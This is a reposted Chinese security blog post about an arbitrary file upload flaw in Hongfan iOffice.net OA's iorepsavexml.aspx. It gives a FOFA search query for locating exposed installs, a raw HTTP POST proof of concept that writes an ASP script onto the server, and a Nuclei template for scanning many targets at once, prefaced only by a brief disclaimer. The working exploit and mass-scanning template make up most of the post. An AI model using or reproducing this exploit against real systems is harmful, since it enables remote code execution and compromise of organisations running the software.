*帆OA iorepsavexml.aspx任意文件上传漏洞

admin 2023年12月12日02:56:23评论77 views字数 1579阅读5分15秒阅读模式


一、免责声明:


      本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!


二、产品介绍:


*帆OA iorepsavexml.aspx任意文件上传漏洞

三、资产梳理:


fofa: title="iOffice.net"

四、漏洞复现:


*帆OA iorepsavexml.aspx任意文件上传漏洞


五、POC:


POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 0
<%Response.Write 1008611%>

Nuclei批量检测:

id: hongfanOA_files_uploadinfo:  name: hongfanOA_files_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/  metadata:    max-request: 1    fofa-query: title="iOffice.net"    verified: true  tags: upload
requests: - raw: - |- POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
<%Response.Write 1008611%> - |+ GET /iOffice/upfiles/rep/pic/123.asp HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
req-condition: true matchers: - type: dsl condition: and dsl: - 'contains((body_2), "1008611") && status_code_2 == 200'

*帆OA iorepsavexml.aspx任意文件上传漏洞




原文始发于微信公众号(fly的渗透学习笔记):*帆OA iorepsavexml.aspx任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日02:56:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   *帆OA iorepsavexml.aspx任意文件上传漏洞https://cn-sec.com/archives/2267532.html

发表评论

匿名网友 填写信息